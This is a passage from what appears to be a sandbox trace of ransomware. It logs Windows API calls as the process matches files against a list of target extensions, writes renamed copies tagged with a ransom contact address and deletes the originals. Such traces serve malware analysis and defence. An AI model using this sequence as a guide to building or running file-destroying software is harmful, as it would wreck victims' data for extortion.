(lpString1=".ppt", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.310] lstrlenW (lpString=".zip") returned 4 [0037.310] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.310] lstrlenW (lpString=".rar") returned 4 [0037.310] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString=".bz2") returned 4 [0037.310] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString=".7z") returned 3 [0037.310] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.310] lstrlenW (lpString=".dbf") returned 4 [0037.310] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.310] lstrlenW (lpString=".1cd") returned 4 [0037.310] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.310] lstrlenW (lpString=".jpg") returned 4 [0037.310] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.310] lstrlenW (lpString=".doc") returned 4 [0037.310] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.310] lstrlenW (lpString=".docx") returned 5 [0037.310] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.311] lstrlenW (lpString=".pdf") returned 4 [0037.311] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.311] lstrlenW (lpString=".xls") returned 4 [0037.311] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.311] lstrlenW (lpString=".xlsx") returned 5 [0037.311] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.311] lstrlenW (lpString=".ppt") returned 4 [0037.311] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.311] lstrlenW (lpString=".zip") returned 4 [0037.311] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.311] lstrlenW (lpString=".rar") returned 4 [0037.311] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.311] lstrlenW (lpString=".bz2") returned 4 [0037.311] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.311] lstrlenW (lpString=".7z") returned 3 [0037.311] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.311] lstrlenW (lpString=".dbf") returned 4 [0037.311] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.311] lstrlenW (lpString=".1cd") returned 4 [0037.311] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0037.311] lstrlenW (lpString=".jpg") returned 4 [0037.311] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.311] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0037.311] lstrlenW (lpString="OCT.CHM") returned 7 [0037.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.866] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=71236) returned 1 [0037.866] CloseHandle (hObject=0x180) returned 1 [0037.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0037.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.866] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.866] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.523] GetLastError () returned 0x0 [0038.523] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x11644, lpOverlapped=0x0) returned 1 [0038.658] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0038.660] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.660] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0038.660] SetEndOfFile (hFile=0x1c4) returned 1 [0038.660] CloseHandle (hObject=0x1c4) returned 1 [0038.662] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.662] SetEndOfFile (hFile=0x180) returned 1 [0038.663] CloseHandle (hObject=0x180) returned 1 [0038.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0038.663] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0038.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.663] lstrlenW (lpString=".doc") returned 4 [0038.664] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString=".docx") returned 5 [0038.664] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0038.664] lstrlenW (lpString=".pdf") returned 4 [0038.664] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString=".xls") returned 4 [0038.664] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString=".xlsx") returned 5 [0038.664] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0038.664] lstrlenW (lpString=".ppt") returned 4 [0038.664] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.664] lstrlenW (lpString=".zip") returned 4 [0038.664] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString=".rar") returned 4 [0038.664] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString=".bz2") returned 4 [0038.664] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.664] lstrlenW (lpString=".7z") returned 3 [0038.664] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.664] lstrlenW (lpString=".dbf") returned 4 [0038.664] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.664] lstrlenW (lpString=".1cd") returned 4 [0038.664] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.664] lstrlenW (lpString=".jpg") returned 4 [0038.664] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.664] lstrlenW (lpString=".doc") returned 4 [0038.665] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.665] lstrlenW (lpString=".docx") returned 5 [0038.665] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0038.665] lstrlenW (lpString=".pdf") returned 4 [0038.665] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.665] lstrlenW (lpString=".xls") returned 4 [0038.665] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.665] lstrlenW (lpString=".xlsx") returned 5 [0038.665] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0038.665] lstrlenW (lpString=".ppt") returned 4 [0038.665] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.665] lstrlenW (lpString=".zip") returned 4 [0038.665] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.665] lstrlenW (lpString=".rar") returned 4 [0038.665] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.665] lstrlenW (lpString=".bz2") returned 4 [0038.665] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.665] lstrlenW (lpString=".7z") returned 3 [0038.665] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.665] lstrlenW (lpString=".dbf") returned 4 [0038.665] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.665] lstrlenW (lpString=".1cd") returned 4 [0038.665] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.665] lstrlenW (lpString=".jpg") returned 4 [0038.665] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.665] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0038.666] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0038.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.666] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=37689) returned 1 [0038.666] CloseHandle (hObject=0x180) returned 1 [0038.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0038.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.667] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.667] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.667] GetLastError () returned 0x0 [0038.667] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x9339, lpOverlapped=0x0) returned 1 [0038.669] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0038.670] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.671] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.671] SetEndOfFile (hFile=0x1c4) returned 1 [0038.671] CloseHandle (hObject=0x1c4) returned 1 [0038.672] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.672] SetEndOfFile (hFile=0x180) returned 1 [0038.673] CloseHandle (hObject=0x180) returned 1 [0038.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0038.673] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0038.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.674] lstrlenW (lpString=".doc") returned 4 [0038.674] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.674] lstrlenW (lpString=".docx") returned 5 [0038.674] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0038.674] lstrlenW (lpString=".pdf") returned 4 [0038.674] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.674] lstrlenW (lpString=".xls") returned 4 [0038.674] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.674] lstrlenW (lpString=".xlsx") returned 5 [0038.674] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0038.674] lstrlenW (lpString=".ppt") returned 4 [0038.674] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.674] lstrlenW (lpString=".zip") returned 4 [0038.674] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.674] lstrlenW (lpString=".rar") returned 4 [0038.674] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.674] lstrlenW (lpString=".bz2") returned 4 [0038.674] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.674] lstrlenW (lpString=".7z") returned 3 [0038.674] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.674] lstrlenW (lpString=".dbf") returned 4 [0038.674] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.674] lstrlenW (lpString=".1cd") returned 4 [0038.674] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.674] lstrlenW (lpString=".jpg") returned 4 [0038.674] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.675] lstrlenW (lpString=".doc") returned 4 [0038.675] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString=".docx") returned 5 [0038.675] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0038.675] lstrlenW (lpString=".pdf") returned 4 [0038.675] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString=".xls") returned 4 [0038.675] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString=".xlsx") returned 5 [0038.675] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0038.675] lstrlenW (lpString=".ppt") returned 4 [0038.675] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.675] lstrlenW (lpString=".zip") returned 4 [0038.675] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString=".rar") returned 4 [0038.675] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString=".bz2") returned 4 [0038.675] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.675] lstrlenW (lpString=".7z") returned 3 [0038.675] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.675] lstrlenW (lpString=".dbf") returned 4 [0038.675] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.675] lstrlenW (lpString=".1cd") returned 4 [0038.675] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0038.675] lstrlenW (lpString=".jpg") returned 4 [0038.675] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.676] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0038.676] lstrlenW (lpString="PSS10O.CHM") returned 10 [0038.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.676] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=26929) returned 1 [0038.676] CloseHandle (hObject=0x180) returned 1 [0038.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0038.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.677] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.677] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.678] GetLastError () returned 0x0 [0038.678] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x6931, lpOverlapped=0x0) returned 1 [0038.679] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0038.681] ReadFile (in: hFile=0x180, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.681] WriteFile (in: hFile=0x1c4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0038.681] SetEndOfFile (hFile=0x1c4) returned 1 [0038.681] CloseHandle (hObject=0x1c4) returned 1 [0038.682] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.682] SetEndOfFile (hFile=0x180) returned 1 [0038.683] CloseHandle (hObject=0x180) returned 1 [0038.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0038.683] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 